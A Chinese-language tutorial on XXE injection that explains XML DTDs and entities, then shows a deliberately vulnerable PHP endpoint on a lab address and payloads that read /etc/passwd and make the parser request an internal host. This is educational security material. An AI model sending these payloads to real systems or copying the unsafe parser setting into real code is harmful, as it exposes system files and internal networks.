赞
踩
XXE(XML External Entity Injection)
是一种 XML 注入攻击,它利用了 XML 解析器在处理 XML 文档时存在的漏洞。
攻击者通过在 XML 文档中插入外部实体的引用,可以引导 XML 解析器读取攻击者控制的外部文件,进而获取敏感信息或执行恶意代码。
XML DTD(文档类型定义)
是一种定义XML文档结构的规范,它为XML文档提供了一种语法规则,规定了文档中所使用的元素、实体、元素的属性、元素与实体之间的关系。
xml
<!DOCTYPE note [
<!ELEMENT note (to,from,heading)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
</note>
在XML文档中,使用DOCTYPE
声明来引入DTD。DTD可以分为外部DTD和内部DTD两种类型。
内部DTD在XML文件的文件序言区域中定义。
外部DTD是一个独立的文件,需要用SYSTEM
标签指定文件路径。
在 xml 文件内部定义实体(变量), 通过&
引用.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY myEntity 'This is my entity'>
]>
<note>&myEntity;</note>
在这个例子中,使用<!ENTITY>
声明定义了一个名为myEntity
的实体,其值为字符串'This is my entity'
。然后在XML文档中,通过在需要使用实体的地方添加&myEntity;
来引用该实体。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
从外部.dtd
文件中加载实体.
Note.dtd 文件:
<!DOCTYPE note [
<!ENTITY myEntity 'This is my entity'>
]>
xml 文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">
<note>&myEntity;</note>
编写一个接受xml数据的api: http://192.168.112.200/security/xxe.php
<?php
libxml_use_internal_errors(true); // 开启错误捕获
$xml = file_get_contents("php://input"); // 获取post提交的xml字符串
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 解析xml字符串
if ($data === false) {
echo "Failed loading XML\n";
foreach(libxml_get_errors() as $error) {
echo "\t", $error->message;
}
} else {
echo $data; // 输出解析后的内容
}
?>
前端使用post请求提交一段xml字符串:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "http://192.168.112.202:80">
]>
<note>&file;</note>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。